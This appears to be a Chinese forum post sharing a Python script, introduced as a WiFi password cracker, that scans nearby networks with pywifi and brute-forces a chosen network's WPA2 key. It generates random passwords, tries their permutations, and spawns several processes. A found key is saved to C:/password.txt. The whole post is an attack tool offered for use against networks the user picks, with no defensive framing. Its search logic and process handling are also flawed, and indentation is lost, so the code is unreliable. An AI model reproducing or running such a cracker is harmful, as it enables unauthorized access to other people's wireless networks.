上代码:
from random import*
import pywifi,time
from pywifi import const
from multiprocessing import*
wifi = pywifi.PyWiFi() #创建wifi对象
ifaces = wifi.interfaces()[0] #获取第一个无线网卡
print(ifaces.name()) #输出无线网卡名称
_ps=None
ch="!#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"#默认密码本
def mk_pass(length:int) -> str:
"make a password"#密码随机生成。
password=str()
for i in range(length):
password=password+choice(ch)
print("目前正在破解:{}".format(password))
return password
def perm(s=''):
# 这里是递归函数的出口,为什么呢,因为这里表示:一个长度为1的字符串,它的排列组合就是它自己。
if len(s)<=1:
return [s]
sl=[] #保存字符串的所有可能排列组合
for i in range(len(s)): #这个循环,对应 解题思路1)确定字符串的第一个字母是谁,有n种可能(n为字符串s的长度
for j in perm(s[0:i]+s[i+1:]): #这个循环,对应 解题思路2)进入递归,s[0:i]+s[i+1:]的意思就是把s中的s[i]给去掉
sl.append(s[i]+j) # 对应 解题思路2)问题就从“返回字符串中的字母排列组合” **变成了** “返回 第一个字母+除去第一个字母外的字符串的排列组合”
return sl
def scan_wifi():
wifi = pywifi.PyWiFi() #创建wifi对象
iface = wifi.interfaces()[0] #获取第一个无线网卡
iface.scan()
time.sleep(1)
wifiresults = iface.scan_results()
return wifiresults
def connect_wifi(ssid,key):
profile = pywifi.Profile() #配置文件
profile.ssid = ssid #wifi名称
profile.auth = const.AUTH_ALG_OPEN #需要密码
profile.akm.append(const.AKM_TYPE_WPA2PSK) #普通加密类型
profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile.key = key #wifi密码
ifaces.remove_all_network_profiles() #删除其它配置文件
tmp_profile = ifaces.add_network_profile(profile) #加载配置文件
ifaces.connect(tmp_profile) #连接wifi
if ifaces.status() == const.IFACE_CONNECTED:
return True#连接成功
else:
return False#本次尝试失败
def _main(SSID):
global _ps
Len=7 #至少8位密码!等会儿要加!
Rs=False
while not Rs:
Len=Len+1
Key=mk_pass(Len)
if Len>16:
break #超过16位了,STOP!
for i in perm(Key):
if connect_wifi(SSID,i):#成功!!
Rs=True #终结循环体
fq=open("C:/password.txt",'w')#破解成功的密码文件
fq.write("{} password :{}".format(SSID,i))
_ps=i
break
else:
pass
def main(tg):
try:
prcs_num=int(input("你想启动几个进程>>>"))#Ask
except TypeError:
print("这是数字吗??")#Emm
for i in range(1,prcs_num):
print(i)
p1=Process(target=_main,args=(tg,))
p1.start()
return _ps
if __name__=="__main__":
print("欢迎使用wifi密码破解器!\n开始使用吧!")#Welcome
print("可使用的WiFi有:")#列举SSID
SSIDs=[]#SSID列表
for i in scan_wifi():
print("SSID:{}\nMAC Address:{}".format(i.ssid,i.bssid))
SSIDs.append(i.ssid)#添加
while True:
ssid=input("破解哪个WiFi:>>> ")
if not ssid in SSIDs:
print("周围没有这个WiFi!")#不在WiFi列表里
else:
ps=main(ssid)
print("密码是{}".format(ps))#先打印一下
break
试试吧。